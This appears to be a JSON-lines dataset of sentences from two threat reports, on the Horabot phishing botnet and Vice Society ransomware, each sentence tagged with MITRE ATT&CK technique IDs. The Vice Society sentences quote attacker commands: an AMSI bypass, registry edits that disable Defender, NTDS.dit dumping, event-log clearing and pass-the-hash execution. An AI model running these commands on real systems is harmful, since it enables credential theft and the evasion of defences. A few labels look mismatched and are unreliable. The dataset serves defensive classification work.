{"sentence": "Checks for the existence of the anti-virus products such as AVG and Avast by checking for the DLLs avghookx.dll, avghooka.dll and snxhk.dll.", "labels": ["T1518.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Detects the sandbox environments such as SunBelt and Joe sandboxes.", "labels": ["T1012"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Checks the registry keys to detect virtual environments such as VMWare, Virtual Box, Wine, Microsoft Hyper-V or Windows Virtual PC.A spam tool acts as another payload in this campaign, enabling the attacker to take over the victim’s other email accounts and send spam emails to the contacts found within them.", "labels": ["T1012"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool is a 32-bit DLL written in Delphi and, when run on the victim’s machine, will attempt to compromise the victim’s login credentials for webmail services such as Yahoo, Gmail, and Hotmail.", "labels": ["T1078"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Upon compromising the credentials, the spam tool takes full control of the victim’s email account, creates spam messages and sends them to the email IDs found in the victim’s mailbox.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The tool also exfiltrates the email address to the C2 server using an HTTP POST request.", "labels": ["T1041"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool also showed us information-stealing capabilities such as logging keystrokes, capturing screenshots and tracking or intercepting the mouse events on the victim’s machine.", "labels": ["T1056.001", "T1113"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The decryption function decrypts the URL pointing to the attacker-controlled server.", "labels": ["T1140"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "New Horabot deployed to spread the infectionTalos discovered Horabot, an Outlook Phishing botnet program written in PowerShell.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It has embedded Visual Basic code that enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox.", "labels": ["T1041", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Phishing emails are themed as a tax receipt or service invoice and the attacker is using the email subject and body, in the format shown below:Phishing email subject:Se adjunta la factura del servicio <calendar month in Spanish> :ATT <dd/mm/yyy> <hh:mm:ss> <AM/PM>Comprobante Fiscal Digital <calendar month in Spanish> :ATT <dd/mm/yyy> <hh:mm:ss> <AM/PM>", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Phishing email body: consulate los datos adjuntos, por favor.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "<dd/mm/yyy> <hh:mm:ss> <AM/PM>The end game of the attacker is to deliver the banking trojan to steal the victim's creds and financial data, along with it they are delivering Horabot and separate spam tool to propagate the infection by sending the phishing emails to all of the validated email IDs in the victim's mailbox.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Attacker is using this technique to minimise the chances of their phishing infracture being tracked.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot, during its initial phase of execution, initializes the victim’s desktop Outlook application by loading “Microsoft.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Office.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Interop.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Outlook” namespace to the PowerShell instance to create the Outlook application object for loading the MAPI namespace.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script also initializes an array to store the stolen email addresses and creates a folder called “a160323” in “C:\\Users\\Public\\.” as an infection marker.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A function that initializes the outlook application object.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After initialization, the script looks for the Outlook data files from the victim profile’s Outlook application data folder.", "labels": ["T1083"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It loads and accesses the victim’s address book and contacts if they exist.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It enumerates all folders and emails in the victim’s Outlook data file and extracts email addresses from the emails’ sender, recipients, CC and BCC fields.", "labels": ["T1005", "T1083"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "During this process, the script checks the “AddressEntryUserType” object values to determine if the email address is one of the types listed below:Exchange agentExchange organizationExchange distribution listExchange public folderAddress that belongs to the same or different exchange forestAddress that uses Lightweight Directory Access Protocol", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "[LDAP]Address that uses Simple Mail Transfer Protocol", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "[SMTP]Function that enumerates and collects email addresses.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script has an email address format validation function that compares all of the extracted email addresses with a regular expression.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After they are successfully validated, the addresses are added to the email address collection array.", "labels": ["T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A function that validates email address format.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Next, the script writes the extracted email addresses from the array to a file called “.Outlook” created by the script in the roaming user profile’s", "labels": ["T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Microsoft application data folder.", "labels": ["T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then the script encodes the email addresses in the “.Outlook” file to a data stream.", "labels": ["T1027", "T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Using the GetRequestStream function, the script requests a data stream from the C2 server through the URL hxxp[://]139[.]177[.]193[.]74/esp/12/151222/au/tst/index[.]php?list and upon the successful response, the encoded email addresses are exfiltrated.", "labels": ["T1041", "T1071.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A function that exfiltrates email addresses.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After exfiltrating the email addresses, the script creates a folder “fb” in the Public user folder and creates an HTML file in it, named “adjuntos_1503.html” in our sample analysis.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then the script downloads the contents of an HTML file stored in an attacker-controlled server and writes it to the HTML file dropped in the “fb” folder.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The HTML file has an embedded malicious URL “hxxps[://]facturacionmarzo[.]cloud/e/archivos[.]pdf[.]html” in its metadata section.", "labels": ["T1027"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Next, the script constructs an email with a hardcoded subject and body and attaches the HTML file from the “fb” folder.", "labels": ["T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then the phishing email is sent to the list of extracted email addresses one at a time, deleting the “fb” folder to cover its paths and avoid detection.", "labels": ["T1070.004"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A function that sends phishing emails.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "CoverageCisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Try Secure Endpoint for free here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "You can try Secure Email for free here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Sign up for a free trial of Umbrella here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Snort SIDs for this threat are 61839-61856 for Snort 2 and 300569-300577 for Snort 3.ClamAV detections are available for this threat:Txt.Loader.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003071-0Ps1.Downloader.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003078-0Win.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Trojan.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "DelphiTrojanBanking-10003087-0Win.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "DelphiTrojanBanking-10003088-0Txt.Malware.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003089-0Txt.Malware.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003090-0Txt.Malware.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003091-0Win.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Tool.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "HorabotSpamTool-10003092-0IOCsIndicators of Compromise associated with this threat can be found here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "By Edmund Brumaghin, Joe Marshall, and Arnaud Zobec.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Executive SummaryAnother threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent ransomware attack, according to Cisco Talos Incident Response research.", "labels": ["T1210"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "While previous research found that other threat actors had been exploiting this vulnerability, this appears to be new for the threat actor Vice Society.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Talos Incident Response's research demonstrates that multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "For defenders, it is important to understand the attack lifecycle leading up to the deployment of ransomware.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "If users have not already, they should download the latest patch for PrintNightmare from Microsoft.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this post, we'll analyze the various TTPs used in a recent ransomware attack from Vice Society that leveraged this vulnerability.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Many of these same TTPs are commonly observed in other ransomware attacks, such as a previously published analysis of a WastedLocker attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Who is Vice Society?Vice Society is a relatively new player in the ransomware space.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "They emerged in mid-2021 and have been observed launching big-game hunting and double-extortion attacks, primarily targeting small or midsize victims.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This group also has notably targeted public school districts and other educational institutions.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "As they are a new actor in this space, Vice Society's TTPs are difficult to quantify.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "However, based on incident response observations, they are quick to leverage new vulnerabilities for lateral movement and persistence on a victim's network.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "They also attempt to be innovative on end-point detection response bypasses.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "As with other threat actors operating in the big-game hunting space, Vice Society operates a data leak site, which they use to publish data exfiltrated from victims who do not choose to pay their extortion demands.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Below is an example screenshot of this site.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Recent attack methodologyThroughout the course of our analysis of a recent human-operated ransomware attack associated with Vice Society, we observed several notable tactics, techniques, and procedures (TTPs) used throughout each stage of the attack lifecycle.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Some of the most interesting characteristics of this attack were:The use of utilities such as proxychains and impacket during the post-compromise phases of the attack lifecycle.", "labels": ["T1090"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The targeting of backups to prevent recovery following ransomware deployment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The degradation of ESXi servers used for virtualization in victim environments.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The use of a DLL that takes advantage of the recently discovered PrintNightmare vulnerability for which Microsoft has previously released a security update.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Attempts to bypass native Windows protections for credential theft and privilege escalation.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Below are some key examples of the TTPs used in this attack as they relate to the Mitre ATT&CK Framework.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "DiscoveryATT&CK Technique: System Owner/User Discovery (T1033)ATT&CK Technique: Account Discovery (T1087)ATT&CK Technique: Domain Trust Discovery (T1482)Once initial access was achieved, several techniques were observed being leveraged to conduct post-compromise discovery and reconnaissance within the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We observed attempts to access the backup solution employed in the environment, likely to prevent the organization from successfully recovering without paying the demanded ransom.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The \"sudo\" command was used to obtain credentials associated with a commercial backup solution, likely trying to gain access to backups present within the environment.sudo -s", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-k -p", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[Backup Prompt] whoamiWe also observed the use of impacket, a common network protocol manipulation tool to enumerate the environment and obtain additional information about the Active Directory configuration in place.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This is typically done to identify high-value targets that may be attractive, as attacks attempt to maximize their sphere of influence over as much of the environment as possible prior, eventually deploying ransomware and making their presence known.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Below are some examples of the command line syntax used for the performance of this activity.cmd.exe /q", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c net group enterprise admins /domain", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "1> \\\\127.0.0.1\\admin$\\__[STIRNG] 2>&1cmd.exe /q", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c net group domain admins /domain", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1 We observed enumeration of the domain trust relationships present within the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The adversaries used the \"nltest\" command for this purpose.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "c:\\windows\\system32\\nltest.exe", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/dclist", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "linux", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[HOSTNAME]ExecutionATT&CK Technique: Command and Scripting Interpreter:", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Windows Command Shell (T1059.003)ATT&CK Technique: Command and Scripting Interpreter: PowerShell (T1059.001)ATT&CK Technique: Windows Management Instrumentation (T1047)ATT&CK Technique: System Services: Service Execution (T1569.002)Similar to what was observed during the post-compromise reconnaissance phase of the attack, the adversary used impacket to execute Windows Management Instrumentation (WMI) to achieve command execution on other systems present in the environment.", "labels": ["T1047"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The attacker also used the \"proxychains\" utility, which is often employed to redirect network traffic during penetration testing, red teaming, and other offensive operations.", "labels": ["T1090"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "cmd.exe /q", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c proxychains ~/impacket/examples/wmiexec.py -hashes [SHA256 HASH]", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[USERNAME]@[IP ADDRESS] 1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1We also observed the adversary using Windows Batch files to execute PSExec.", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this case, PSExec remotely authenticated and executed PowerShell on remote systems within the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "cmd.exe /c", "labels": ["T1059.003", "T1112"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "C:\\s$\\0.bat PsExec.exe -d \\\\[HOSTNAME] -u", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[DOMAIN]\\[USERNAME] -p", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[PASSWORD] -accepteula -s", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "cmd /c", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "powershell.exe -ExecutionPolicy", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Bypass -file \\\\[HOSTNAME]\\s$\\p.ps1", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "There were also artifacts in the environment that indicate that the recently disclosed PrintNightmare vulnerability may have been used during this attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "A DLL associated with PrintNightmare was observed on systems within the environment as described in the section \"Credential Access.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "\"PersistenceATT&CK Technique: Create or Modify System Process (T1543)In many big-game hunting ransomware attacks, upon achieving initial access into the target environment, the adversary will first attempt to achieve persistence so that they can regain access to the environment if they are detected or their initial point of access is otherwise removed.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this particular case, we observed the adversary leveraging a Windows Service to execute PowerShell to stay persistent in the environment.", "labels": ["T1569.002"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The Windows service was configured with the following options:Service Type: user mode service Service Start Type: demand start Service Account:", "labels": ["T1543.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "LocalSystem Service Name: Updater Service Filename: %COMSPEC% /C", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "start /b", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell -noP", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-sta", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-w 1 -enc", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[BASE64 ENCODED BLOB]As can be seen above, the PowerShell being executed was Base64 encoded.", "labels": ["T1027"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The decoded PowerShell instructions are below:This PowerShell is responsible for the performing the following tasks:Disabling PowerShell logging.", "labels": ["T1140", "T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Bypassing AMSI protection for PowerShell.", "labels": ["T1105"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Downloading, decrypting, and executing a backdoor payload from an attacker-controlled server.", "labels": ["T1105", "T1140"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "By implementing this persistence, the attacker can regain access to the environment if the targeted organization destroys their initial means of access.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Lateral movementATT&CK Technique: Remote Services (T1021)ATT&CK Technique: Lateral Tool Transfer (T1570)Once operational within the target environment, attackers will typically perform reconnaissance, identifying additional target systems, and then move laterally from system to system as they attempt to escalate privileges and then, ultimately, deploy ransomware on many systems in the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "During the investigation, we observed the attacker leveraging Windows Remote Desktop Connections to pivot to additional systems in the environment.", "labels": ["T1021.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This was typically performed via the following command-line syntax:C:\\Windows\\system32\\mstsc.exe /v", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[HOSTNAME]The attacker also attempted to execute PowerShell scripts on remote systems in the environment while moving system-to-system.", "labels": ["T1570"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Bypass -file \\[IPADDRESS]\\share$\\p.ps1 During the attack, adversaries copied and executed the aforementioned PowerShell script on multiple systems across the environment.", "labels": ["T1570"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Credential accessATT&CK", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Technique: OS Credential Dumping (T1003)ATT&CK Technique: OS Credential Dumping: LSASS Memory (T1003.001)The actor attempted to extract credentials from the victim in two ways: Accessing the active directory global catalog file ntds.dit and utilizing comsvcs.dll. Comsvcs.dll is a well-known way to extract LSASS (Local Security Authority Subsystem Service) data.", "labels": ["T1003.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "By invoking comsvcs.dll with rundll32.exe, an adversary can create a dump of any process.", "labels": ["T1003.001", "T1218.011"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This is a classic and clever living-off-the-land binary (LoLBin) tactic that avoids popular credential extraction tools like Mimikatz, which may alert defenders.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We also observed attempts to dump the NTDS.dit, which is a database of Active Directory information.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Examples of the command-line syntax used in these cases are below.cmd.exe /q /c", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "powershell ntdsutil.exe '", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "ac i ntds' 'ifm' 'create full c:\\temp' q q 1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1cmd.exe /q", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c powershell ntdsutil.exe '", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "ac i ntds' 'ifm' 'create full c:\\temp_logs' q q 1> \\\\127.0.0.1\\admin$\\__[STRING]5 2>&1The actor also utilized PrintNightmare, a recently published series of vulnerabilities by Microsoft that would allow remote code execution when an improper print spooler performs privileged file operations.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This attack vector is notable in the ubiquitous nature of print services in all modern corporate enterprises.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Microsoft has recently released a security patch for PrintNightmare — we encourage all enterprises to patch immediately to avoid exploitation.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Defense evasionATT&CK Technique: Indicator Removal on Host: Clear Windows Event Logs (T1070.001)ATT&CK Technique: Modify Registry (T1112)ATT&CK Technique: Impair Defenses or Modify Tools (T1562.001)Throughout the attack, the adversary made multiple attempts to evade detection and subvert security controls in place as described throughout previous sections of this blog post.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We also observed the attacker attempting to clear the contents of security logs on compromised systems.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The following command-line syntax was observed being used to clear the System, Security and Application Windows Event Logs.", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "c:\\windows\\system32\\wevtutil.exe cl systemc:\\windows\\system32\\wevtutil.exe cl securityc:\\windows\\system32\\wevtutil.exe cl", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "applicationThe adversary was also observed remotely modifying the Windows Registry on remote systems to disable remote administration restrictions to facilitate lateral movement and privilege escalation activities.", "labels": ["T1112", "T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Disabling this security control allows attackers to leverage pass-the-hash attacks and hinder RDP's security on systems.cmd.exe /q /c", "labels": ["T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "powershell new-itemproperty -path hklm:\\system\\currentcontrolset\\control\\lsa -name disablerestrictedadmin -value 0", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-propertytype dword -force 1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We also observed the attacker disabling Windows Defender by modifying the Windows Registry on compromised systems.", "labels": ["T1112", "T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This was performed using the following commands:C:\\Windows\\system32\\reg.exe delete HKLM\\Software\\Policies\\Microsoft\\Windows Defender /fC:\\Windows\\system32\\reg.exe add HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection /v", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "DisableRoutinelyTakingAction /t", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "REG_DWORD /d", "labels": ["T1112"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "1 /f C:\\Windows\\system32\\reg.exe add HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet /v", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "DisableBlockAtFirstSeen /t", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "1 /f We also observed the threat actor attempting to evade detection while enumerating the environment using an AMSI bypass, which is often used as a way to evade detection by endpoint security solutions that may be present on compromised systems.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this case, the Windows Command Processor was used to invoke PowerShell, which then leveraged Invoke-Expression (IEX) for this purpose.cmd.exe /Q /c powershell.exe -exec bypass -noni -nop", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-w 1 -C IEX ([Net.ServicePointManager]::ServerCertificateValidationCallback={$true}try{[Ref].Assembly.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "GetType('Sys'+'tem.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue($null,$true)}catch{}quser) ExfiltrationATT&CK Technique: Exfiltration Over Alternative Protocol (T1048)Over the past couple of years, we have observed an increasing number of ransomware threat actors adopting a double-extortion methodology in their attacks.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In these attacks, adversaries attempt to exfiltrate large quantities of sensitive information for the purposes of further extortion against victims.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
